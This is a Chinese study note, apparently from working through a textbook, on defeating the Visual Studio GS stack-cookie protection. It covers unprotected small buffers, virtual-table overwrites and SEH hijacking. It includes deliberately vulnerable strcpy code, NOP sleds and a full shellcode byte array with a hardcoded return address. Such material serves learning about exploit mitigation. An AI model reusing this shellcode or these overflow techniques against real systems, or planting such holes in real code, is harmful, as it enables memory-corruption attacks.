目录
GS安全编译选项
原理就是在栈帧中加入一个随机的DWORD,ida交它为security cookie
位于ebp之前,函数返回之前,检测那个security cookie是否被覆盖了(即值改变了)
这样操作必然带来性能的下降,所以有些函数是不会应用GS的
1、函数不包含缓冲区;
2、函数被定义为加油变脸参数列表;
3、函数使用无保护的关键字标记;
4、函数在第一个语句中包含内嵌汇编代码;
5、缓冲区不是8字节类型而且大小不大于4个字节。
有例外就有绕过,所以又出来了
#pragma strict_gs_check(on)
可以对任意的函数添加security cookie,即可对不符合GS包含条件的函数添加GS保护
此外,vs2005之后还会变量重排,将字符串变量移动到栈的高地址处,即离ebp相距最近,这样可防止破坏局部变量的值,
而且还会将指针参数和字符串参数复制到内存中搞个副本,防止函数参数被破坏
接下来为了更为直观地反映出程序在内存中的状态,禁用编译优化
利用未保护的内存突破GS
看代码
#include "string.h" int vulfuncion(char *str){ char array[4]; strcpy(array, str); return 1; } int main(){ char * str = "yeah, the function is without GS"; vulfuncion(str); return 0; }
由于漏洞函数的缓冲区不包含4字节以上的缓冲区,所以没有GS保护
编译后可以用ida看看
如果我改成16,区别就出来了
J__RTC_CheckEsp是检查堆栈平衡的,上面那个_RTC_CheckStackVars具体不清楚,看名字就是检测栈上的变量的
0xCCCCCCCC unicode编码就是“烫烫”
我们启动调试
这个应该就是_RTC_CheckStackVars的作用了
我们尝试点击继续
那个0x6974636E,就是被ncti覆盖后的逆序
覆盖虚函数突破GS
代码
#include "stdafx.h" #include "string.h" class GSVirtual { public : void gsv(char * src) { char buf[200]; strcpy(buf, src); bar(); // virtual function call } virtual void bar() { } }; int main() { GSVirtual test; test.gsv("\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"); return 0; }
先来199个\x90,先看看main函数
根进gsv,运行完strcpy暂停,看看栈的结构
为什么我们这里可以淹没那个Security Cookie呢,因为函数返回前我们调用了虚函数vir,如果虚函数表地址被我们改了,那么调用虚函数vir(就到我们向去的地方执行了)
问题来了,问题是buf每次的地址可能不一样,
但我们发现原始参数位于虚表附近
而且每次低位都是一样的
那我们只要将最低位覆盖成08就好了
计算了一下,还需27字节
strcpy覆盖前
结果是没考虑到哪个结束符00,将虚表地址的第三个字节覆盖了
先手动改一下吧。。。。
看看怎么调用的虚函数
接下来怎么跳到我们的shellcode呢
发现调用虚函数前我们栈顶的元素指向我们的shellcode
那么我们只要找个pop ret的组件就行了
后来实验。。。哎,失败,又出现各种问题。。。
作者那个好像有点问题执行完pop pop ret 后,就去shellcode的首地址,首地址是那跳板的地址,都不是指令,怎么搞呢
不过好像也可以翻译成指令
哎,先知道原理吧
之后在xp下实验吧,shellcode的首地址尾数竟然是00,跟作者的一样
查找rop
可以看到eip已经到这了
pop两次就回到
但是第一条指令会是那个rop地址,这就尴尬了
攻击异常处理突破GS
作者的代码
#include <stdafx.h> #include <string.h> char shellcode[]= "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90" "\xA0\xFE\x12\x00"//address of shellcode ; void test(char * input) { char buf[200]; strcpy(buf,input); strcat(buf,input); } void main() { test(shellcode); }
运行一下,作者的代码还差4个90才能覆盖。。
加了四个后就可以了
参数被我们的90覆盖
所以最终触发访问异常(从非法地址读取数据)
调用被我们覆盖的那个地址,即shellcode的地址,最终执行shellcode
这个看着都有点困难
由于开了win7开了aslr,所以那个security cookie在01333000
之后将栈上的cookie修改为与ebp异或后的值即可
我们手动改为90吧,嘻嘻
在win7下肯定有的困难了,vs2012编译的在xp运行不了
在xp看看
执行完就被改了
看看覆盖返回地址后的状态
之后就执行到shellcode位置了
ko